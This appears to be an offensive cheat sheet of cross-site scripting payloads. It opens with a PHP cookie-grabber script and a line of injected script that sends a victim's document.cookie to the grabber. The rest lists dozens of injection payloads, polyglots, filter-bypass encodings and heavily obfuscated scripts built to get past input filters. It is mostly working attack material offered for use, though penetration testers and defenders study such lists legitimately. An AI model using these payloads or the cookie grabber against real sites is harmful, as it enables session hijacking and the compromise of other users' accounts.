14 KiB
Cross Site Scripting
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
Exploit code or POC
Cookie grabber for XSS
<?php
// How to use it
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);
?>
XSS in HTML/Applications
XSS Basic
Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
XSS for HTML5
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
XSS in META tag
Base64 encoded
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>
With an additional URL
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
XSS in flash application
\%22})))}catch(e){alert(document.domain);}//
"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
"a")(({type:"ready"}));}catch(e){alert(1)}//
XSS in Hidden input
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
DOM XSS
#"><img src=/ onerror=alert(2)>
XSS in wrappers javascript and data URI
XSS with javascript:
javascript:prompt(1)
%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
javascript:confirm(1)
We can encode the "javacript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
We can use a 'newline character'
java%0ascript:alert(1) - LF (\n)
java%09script:alert(1) - Horizontal tab (\t)
java%0dscript:alert(1) - CR (\r)
Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
XSS with data:
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
XSS with vbscript: only IE
vbscript:msgbox("XSS")
XSS in files
XSS in XML
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
XSS in SVG
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
XSS in SVG (short)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
XSS in SWF
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
more payloads in ./files
XSS with Relative Path Overwrite - IE 8/9 and lower
You need these 3 components
1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css
A little example
http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
</body>
</html>
Explanation of the vulnerability
The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.
Demo 1 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php
Demo 2 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3
MultiBrowser : http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php
From : http://www.thespanner.co.uk/2014/03/21/rpo/
Mutated XSS for Browser IE8/IE9
<listing id=x><img src=1 onerror=alert(1)></listing>
<script>alert(document.getElementById('x').innerHTML)</script>
IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.
Polyglot XSS
Polyglot XSS - 0xsobky
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Polyglot XSS - Ashar Javed
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
Polyglot XSS - Mathias Karlsson
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
Polyglot XSS - Rsnake
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
Filter Bypass and exotic payloads
Bypass case sensitive
<sCrIpt>alert(1)</ScRipt>
Bypass quotes for string
String.fromCharCode(88,83,83)
Bypass dot filter
<script>window['alert'](document['domain'])<script>
Bypass parenthesis for string - Firefox
alert`1`
Bypass onxxxx= blacklist
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
Bypass onxxx= filter with a null byte/vertical tab - IE/Safari
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />
Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari
<img src='1' onerror/=alert(0) />
Bypass space filter with "/" - IE/Firefox/Chrome/Safari
<img/src='1'/onerror=alert(0)>
Bypass with incomplete html tag - IE/Firefox/Chrome/Safari
<img src='1' onerror='alert(0)' <
Bypass using an alternate way to execute js
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
<script>top['alert'](3)</script>
Bypass using Unicode
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESSTHAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESSTHAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
Bypass using overlong UTF-8
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
Bypass using UTF-7
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
Bypass using weird encoding or native interpretation to hide the payload (alert())
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="alert(1)" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
Exotic payloads
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
Thanks to
- https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
- tbm
- http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html
- http://www.thespanner.co.uk/2014/03/21/rpo/
- http://blog.innerht.ml/rpo-gadgets/
- http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite
- http://d3adend.org/xss/ghettoBypass